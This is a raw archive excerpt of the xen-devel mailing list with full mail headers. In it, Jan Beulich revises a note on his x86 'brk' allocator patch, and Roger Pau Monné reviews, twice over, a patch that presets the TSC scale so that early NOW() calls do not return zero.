Delivery-date: Tue, 28 Jul 2026 08:36:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372246.1619631 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wodIs-0002A7-OI; Tue, 28 Jul 2026 08:36:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372246.1619631; Tue, 28 Jul 2026 08:36:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wodIs-0002A0-L7; Tue, 28 Jul 2026 08:36:46 +0000
Received: by outflank-mailman (input) for mailman id 1372246;
 Tue, 28 Jul 2026 08:36:44 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wodIq-00029u-Mh
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:36:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wodIp-00AXlY-6e
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 10:36:43 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a686a13-bab6-0a2a0a5309dd-0a2a45069028-4
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 10:36:38 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a686a15-195a-0a2a45060019-d1558035aca6-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 10:36:38 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-495590dde14so39635995e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 01:36:38 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c6dc25sm55057682f8f.33.2026.07.28.01.36.36
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 01:36:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785227797; x=1785832597; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=kf0WjAbLiT9RQsokDaJJ9itaga43guYI9GPwrulwIuU=;
        b=ZOz0Ji6vgcVSAUCYzSwmmOWlZ9u0uKcWZSQWm7eAyeukxTGX5pERFYowiytqXx9txW
         dOIYlEVBI8pucKMlN8LC5+Kn04oQfJUEpZ2BynLDa//hR9fR5Pe25nEceainq/yRqb7t
         cf/7aVHhfhMRIFp7DRRpd9JGvffBDrXzmUZKHYTWyjlB7G3+Lgwh+Ba/N5Eg9aA0Lhwh
         SlDJzJj2GaZBK+HsTFGiaFpjOg/jfIzgoS6MZ7DRLjRWU6YHa/ZywWkBPWJycpU85WZP
         +BigIE4DCUI6GzMMm7tymDra64WAgfnR99z9tE6GuJoYsl5vRGT7AqgY0hii4k1r50ib
         TU9A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785227797; x=1785832597;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        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8KWrizdHqQni1ndHKMbGhDpyH4lJfZbnfVG4CU
	Ma/
X-Received: by 2002:a05:600c:6304:b0:493:cfe8:5b36 with SMTP id 5b1f17b1804b1-496c641069fmr17029655e9.8.1785227797596;
        Tue, 28 Jul 2026 01:36:37 -0700 (PDT)
Message-ID: <c9d23b9e-4501-4dbe-97af-96ff8122c988@suse.com>
Date: Tue, 28 Jul 2026 10:36:36 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 1/3] x86: introduce "brk" allocator
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
 <f7e3cd68-f6de-4ada-87d9-1a5dff277b2f@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo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eAWPgskBQL
In-Reply-To: <f7e3cd68-f6de-4ada-87d9-1a5dff277b2f@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785227798-FD60A77B-79AC65C0/0/0
X-purgate-type: clean
X-purgate-size: 1347

On 27.07.2026 12:19, Jan Beulich wrote:
> ... to replace ebmalloc(), and then to find further use(s) to allow
> recovering memory which is needed very early (and hence needs setting up
> statically), but may not fully be used (or not used at all).
> 
> Note that unlike free_ebmalloc_unused_mem(), brk_free_unused() (once
> other code is converted) will be able to free part of the BRK space even
> in the xen.efi case. That would happen if BRK space extends across a 2Mb
> boundary, and actual use stops before that boundary.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> Changing setup.c's reserve_e820_ram() uses would be cumbersome when done
> right here. That'll be done when ebmalloc() is replaced, and hence
> what's there can also simply be replaced.
> 
> The xen.efi detection may want separating out into a helper.
> 
> When linking xen.efi, ld produces a base relocation for the reference to
> __subsystem__, which is wrong (that's an absolute symbol, after all).
> While that will need fixing there, it does no harm for our purposes.

This remark is stale, I've updated it to:

"When linking xen.efi, GNU ld prior to 2.46 produces a base relocation for
 the reference to __subsystem__, which is wrong (that's an absolute symbol,
 after all). That does no harm for our purposes, though."

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 08:39:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 08:39:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372254.1619639 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wodLj-0002qJ-4v; Tue, 28 Jul 2026 08:39:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372254.1619639; Tue, 28 Jul 2026 08:39:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wodLj-0002qC-29; Tue, 28 Jul 2026 08:39:43 +0000
Received: by outflank-mailman (input) for mailman id 1372254;
 Tue, 28 Jul 2026 08:39:41 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1wodLh-0002q6-Of
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:39:41 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wodLh-00DKNt-0u;
 Tue, 28 Jul 2026 08:39:41 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wodLg-002eJX-28;
 Tue, 28 Jul 2026 08:39:40 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Date: Tue, 28 Jul 2026 10:39:25 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v4 3/3] x86/time: avoid early uses of NOW() to return zero
Message-ID: <amhqvSAdzGjCuvCT@macbook.local>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <a53601c4-dab7-4d75-9cf0-323acc980ede@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <a53601c4-dab7-4d75-9cf0-323acc980ede@suse.com>

On Tue, Jun 30, 2026 at 04:06:41PM +0200, Jan Beulich wrote:
> Waiting loops like the one in flush_command_buffer() will degenerate to
> infinite ones when used early enough for NOW() to still return constant
> zero. Make sure the returned value at least monotonically increases. When
> available, use nominal frequency values as initial approximation.
> 
> Do this only in get_s_time(), as producing a sane value in
> get_s_time_fixed() for non-zero inputs won't be reasonably possible.
> Put an assertion there.
> 
> Reported-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> RFC: While generally the mentioned waiting loops will take longer to time
>      out, on a very fast CPU tight loops may time out too early.

While we know this is not ideal, it's better than getting stuck in an
infinite NOW() loop without any timeout.  IMO it's best to timeout
early than not timeout at all.

> RFC: On the 2nd pass through early_cpu_init() it may be okay to skip the
>      new additions.

Possibly, yes, maybe add a static variable there to avoid re-doing?

> 
> With "x86/time: set AP's TSC scale estimate earlier" the counter update
> may not need to be atomic anymore, as then only the BSP can reasonably hit
> that path.
> 
> I don't think Fixes: tags should be put here. If we did, we'd have to
> enumerate all introductions of early uses of NOW() (or get_s_time()), with
> the exception of those dealing with getting back 0 (which I expect is only
> printk_start_of_line()). Will want backporting nevertheless (unless deemed
> too risky).
> ---
> v3: Use "high" / "max" freq if "nominal" isn't available. Set NOW_good.
> v2: Add assertion to get_s_time_fixed(). Use nominal frequencies for very
>     early setting, if available.
> 
> --- a/xen/arch/x86/cpu/common.c
> +++ b/xen/arch/x86/cpu/common.c
> @@ -19,6 +19,7 @@
>  #include <asm/random.h>
>  #include <asm/setup.h>
>  #include <asm/shstk.h>
> +#include <asm/time.h>
>  #include <asm/xstate.h>
>  
>  #include <public/sysctl.h>
> @@ -403,6 +404,36 @@ void __init early_cpu_init(bool verbose)
>  				    &c->x86_capability[FEATURESET_7d1]);
>  	}
>  
> +	if (c->cpuid_level >= 0x15) {
> +		cpuid(0x15, &eax, &ebx, &ecx, &edx);
> +
> +		if (ecx && ebx && eax)
> +			preset_tsc_scale(DIV_ROUND_UP(ecx * 1UL * ebx, eax));
> +		else if (c->cpuid_level >= 0x16) {
> +			/* Assume CPU base freq â‰ˆ TSC freq. */
> +			cpuid(0x16, &eax, &ebx, &ecx, &edx);
> +			if (eax)
> +				preset_tsc_scale(eax * 1000000UL);
> +			else if (ebx) /* See preset_tsc_scale() for why. */
> +				preset_tsc_scale(ebx * 1000000UL);
> +		}
> +	} else if (c->vendor & (X86_VENDOR_AMD | X86_VENDOR_HYGON)) {
> +		unsigned int nom_mhz = 0, hi_mhz = 0;
> +
> +		amd_process_freq(c, NULL, &nom_mhz, &hi_mhz);
> +		if (nom_mhz)
> +			preset_tsc_scale(nom_mhz * 1000000UL);
> +		else if (hi_mhz) /* See preset_tsc_scale() for why. */
> +			preset_tsc_scale(hi_mhz * 1000000UL);
> +	} else if (c->vendor & X86_VENDOR_INTEL) {
> +		unsigned int hi_mhz = 0;
> +
> +		/* See preset_tsc_scale() for why. */

I would avoid those repeated "See preset_tsc_scale() for why."
comments, and simply state at the beginning of the block that either
the nominal or the higher reported frequencies will be used, as in the
worse case when using the high frequency the timer will run slower,
but not faster.

> +		intel_process_freq(c, NULL, &hi_mhz);
> +		if (hi_mhz)
> +			preset_tsc_scale(hi_mhz * 1000000UL);
> +	}
> +
>  	eax = cpuid_eax(0x80000000);
>  	if ((eax >> 16) == 0x8000 && eax >= 0x80000008) {
>  		ebx = eax >= 0x8000001f ? cpuid_ebx(0x8000001f) : 0;
> --- a/xen/arch/x86/include/asm/time.h
> +++ b/xen/arch/x86/include/asm/time.h
> @@ -23,6 +23,7 @@ mktime (unsigned int year, unsigned int
>  int time_suspend(void);
>  int time_resume(void);
>  
> +void preset_tsc_scale(unsigned long freq);
>  void init_percpu_time(void);
>  void time_latch_stamps(void);
>  
> --- a/xen/arch/x86/cpu/intel.c
> +++ b/xen/arch/x86/cpu/intel.c
> @@ -476,8 +476,8 @@ static int num_cpu_cores(struct cpuinfo_
>  		return 1;
>  }
>  
> -static void intel_process_freq(const struct cpuinfo_x86 *c,
> -                               unsigned int *min_mhz, unsigned int *max_mhz)
> +void intel_process_freq(const struct cpuinfo_x86 *c,
> +                        unsigned int *min_mhz, unsigned int *max_mhz)
>  {
>      uint64_t msrval;
>      uint8_t max_ratio, min_ratio;
> --- a/xen/arch/x86/include/asm/processor.h
> +++ b/xen/arch/x86/include/asm/processor.h
> @@ -417,6 +417,9 @@ static inline uint8_t get_cpu_family(uin
>      return fam;
>  }
>  
> +void intel_process_freq(const struct cpuinfo_x86 *c,
> +                        unsigned int *min_mhz, unsigned int *max_mhz);
> +
>  #ifdef CONFIG_INTEL
>  extern int8_t opt_tsx;
>  extern bool rtm_disabled;
> --- a/xen/arch/x86/time.c
> +++ b/xen/arch/x86/time.c
> @@ -1664,6 +1664,9 @@ s_time_t get_s_time_fixed(uint64_t at_ts
>      const struct cpu_time *t = &this_cpu(cpu_time);
>      uint64_t tsc, delta;
>  
> +    /* scale_delta() degenerates when the scale wasn't set yet. */
> +    ASSERT(t->tsc_scale.mul_frac);

Hm, so for release builds we would just return 0 in get_s_time_fixed()
when called before the scale is initialized.  I guess that's as good
as we can do.  I wonder whether using BUG_ON() won't be better here,
but it's likely best to return 0 than plain crash.

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 08:41:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 08:41:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372279.1619648 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wodNI-0004O9-IH; Tue, 28 Jul 2026 08:41:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372279.1619648; Tue, 28 Jul 2026 08:41:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wodNI-0004O2-FV; Tue, 28 Jul 2026 08:41:20 +0000
Received: by outflank-mailman (input) for mailman id 1372279;
 Tue, 28 Jul 2026 08:41:19 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wodNH-0004Nw-Mg
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:41:19 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wodNH-00DKSk-2L;
 Tue, 28 Jul 2026 08:41:19 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wodNH-002eXQ-0O;
 Tue, 28 Jul 2026 08:41:19 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=UkNDLWKV1kvkQ8g8jrlIKhKkw41KXLJQNnaGb0D/ifU=; b=mbsT79RK9vTNuzk8yPRn+TizLX
	ufdXTxJLs/vToRQ1qYT++kdGNugUVo6eXr3pQlnt0EP90FO/272P+yA883sN78Rk7afzIPoHV0tuz
	MwLj5GMhLhb/8Dk99ZVBDo43eeIIHb1xkF1o8+kMWJV3q/D8MgsrG5NRPNh9LYb7NbQ0=;
Date: Tue, 28 Jul 2026 10:41:13 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v4 3/3] x86/time: avoid early uses of NOW() to return zero
Message-ID: <amhrKd-736ymBrfD@macbook.local>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <a53601c4-dab7-4d75-9cf0-323acc980ede@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <a53601c4-dab7-4d75-9cf0-323acc980ede@suse.com>

On Tue, Jun 30, 2026 at 04:06:41PM +0200, Jan Beulich wrote:
> Waiting loops like the one in flush_command_buffer() will degenerate to
> infinite ones when used early enough for NOW() to still return constant
> zero. Make sure the returned value at least monotonically increases. When
> available, use nominal frequency values as initial approximation.
> 
> Do this only in get_s_time(), as producing a sane value in
> get_s_time_fixed() for non-zero inputs won't be reasonably possible.
> Put an assertion there.
> 
> Reported-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> RFC: While generally the mentioned waiting loops will take longer to time
>      out, on a very fast CPU tight loops may time out too early.

While we know this is not ideal, it's better than getting stuck in an
infinite NOW() loop without any timeout.  IMO it's best to timeout
early than not timeout at all.

> RFC: On the 2nd pass through early_cpu_init() it may be okay to skip the
>      new additions.

Possibly, yes, maybe add a static variable there to avoid re-doing?

> 
> With "x86/time: set AP's TSC scale estimate earlier" the counter update
> may not need to be atomic anymore, as then only the BSP can reasonably hit
> that path.
> 
> I don't think Fixes: tags should be put here. If we did, we'd have to
> enumerate all introductions of early uses of NOW() (or get_s_time()), with
> the exception of those dealing with getting back 0 (which I expect is only
> printk_start_of_line()). Will want backporting nevertheless (unless deemed
> too risky).
> ---
> v3: Use "high" / "max" freq if "nominal" isn't available. Set NOW_good.
> v2: Add assertion to get_s_time_fixed(). Use nominal frequencies for very
>     early setting, if available.
> 
> --- a/xen/arch/x86/cpu/common.c
> +++ b/xen/arch/x86/cpu/common.c
> @@ -19,6 +19,7 @@
>  #include <asm/random.h>
>  #include <asm/setup.h>
>  #include <asm/shstk.h>
> +#include <asm/time.h>
>  #include <asm/xstate.h>
>  
>  #include <public/sysctl.h>
> @@ -403,6 +404,36 @@ void __init early_cpu_init(bool verbose)
>  				    &c->x86_capability[FEATURESET_7d1]);
>  	}
>  
> +	if (c->cpuid_level >= 0x15) {
> +		cpuid(0x15, &eax, &ebx, &ecx, &edx);
> +
> +		if (ecx && ebx && eax)
> +			preset_tsc_scale(DIV_ROUND_UP(ecx * 1UL * ebx, eax));
> +		else if (c->cpuid_level >= 0x16) {
> +			/* Assume CPU base freq â‰ˆ TSC freq. */
> +			cpuid(0x16, &eax, &ebx, &ecx, &edx);
> +			if (eax)
> +				preset_tsc_scale(eax * 1000000UL);
> +			else if (ebx) /* See preset_tsc_scale() for why. */
> +				preset_tsc_scale(ebx * 1000000UL);
> +		}
> +	} else if (c->vendor & (X86_VENDOR_AMD | X86_VENDOR_HYGON)) {
> +		unsigned int nom_mhz = 0, hi_mhz = 0;
> +
> +		amd_process_freq(c, NULL, &nom_mhz, &hi_mhz);
> +		if (nom_mhz)
> +			preset_tsc_scale(nom_mhz * 1000000UL);
> +		else if (hi_mhz) /* See preset_tsc_scale() for why. */
> +			preset_tsc_scale(hi_mhz * 1000000UL);
> +	} else if (c->vendor & X86_VENDOR_INTEL) {
> +		unsigned int hi_mhz = 0;
> +
> +		/* See preset_tsc_scale() for why. */

I would avoid those repeated "See preset_tsc_scale() for why."
comments, and simply state at the beginning of the block that either
the nominal or the higher reported frequencies will be used, as in the
worse case when using the high frequency the timer will run slower,
but not faster.

> +		intel_process_freq(c, NULL, &hi_mhz);
> +		if (hi_mhz)
> +			preset_tsc_scale(hi_mhz * 1000000UL);
> +	}
> +
>  	eax = cpuid_eax(0x80000000);
>  	if ((eax >> 16) == 0x8000 && eax >= 0x80000008) {
>  		ebx = eax >= 0x8000001f ? cpuid_ebx(0x8000001f) : 0;
> --- a/xen/arch/x86/include/asm/time.h
> +++ b/xen/arch/x86/include/asm/time.h
> @@ -23,6 +23,7 @@ mktime (unsigned int year, unsigned int
>  int time_suspend(void);
>  int time_resume(void);
>  
> +void preset_tsc_scale(unsigned long freq);
>  void init_percpu_time(void);
>  void time_latch_stamps(void);
>  
> --- a/xen/arch/x86/cpu/intel.c
> +++ b/xen/arch/x86/cpu/intel.c
> @@ -476,8 +476,8 @@ static int num_cpu_cores(struct cpuinfo_
>  		return 1;
>  }
>  
> -static void intel_process_freq(const struct cpuinfo_x86 *c,
> -                               unsigned int *min_mhz, unsigned int *max_mhz)
> +void intel_process_freq(const struct cpuinfo_x86 *c,
> +                        unsigned int *min_mhz, unsigned int *max_mhz)
>  {
>      uint64_t msrval;
>      uint8_t max_ratio, min_ratio;
> --- a/xen/arch/x86/include/asm/processor.h
> +++ b/xen/arch/x86/include/asm/processor.h
> @@ -417,6 +417,9 @@ static inline uint8_t get_cpu_family(uin
>      return fam;
>  }
>  
> +void intel_process_freq(const struct cpuinfo_x86 *c,
> +                        unsigned int *min_mhz, unsigned int *max_mhz);
> +
>  #ifdef CONFIG_INTEL
>  extern int8_t opt_tsx;
>  extern bool rtm_disabled;
> --- a/xen/arch/x86/time.c
> +++ b/xen/arch/x86/time.c
> @@ -1664,6 +1664,9 @@ s_time_t get_s_time_fixed(uint64_t at_ts
>      const struct cpu_time *t = &this_cpu(cpu_time);
>      uint64_t tsc, delta;
>  
> +    /* scale_delta() degenerates when the scale wasn't set yet. */
> +    ASSERT(t->tsc_scale.mul_frac);

Hm, so for release builds we would just return 0 in get_s_time_fixed()
when called before the scale is initialized.  I guess that's as good
as we can do.  I wonder whether using BUG_ON() won't be better here,
but it's likely best to return 0 than plain crash.

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 09:52:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 09:52:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372309.1619670 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woeTc-0005r3-Ij; Tue, 28 Jul 2026 09:51:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372309.1619670; Tue, 28 Jul 2026 09:51:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woeTc-0005qv-Ey; Tue, 28 Jul 2026 09:51:56 +0000
Received: by outflank-mailman (input) for mailman id 1372309;
 Tue, 28 Jul 2026 09:51:55 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1woeTb-0005qp-5w
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 09:51:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woeTZ-00Aqgt-Su
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 11:51:53 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a687bb3-e002-0a2a0a5209dd-0a2a450bb2d6-18
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 11:51:53 +0200
Received: from [52.101.48.26]
 (helo=MW6PR02CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a687bb8-b7e8-0a2a450b0019-3465301a9060-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 11:51:53 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by CH3PR03MB7342.namprd03.prod.outlook.com (2603:10b6:610:1a4::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Tue, 28 Jul
 2026 09:51:50 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0245.009; Tue, 28 Jul 2026
 09:51:50 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
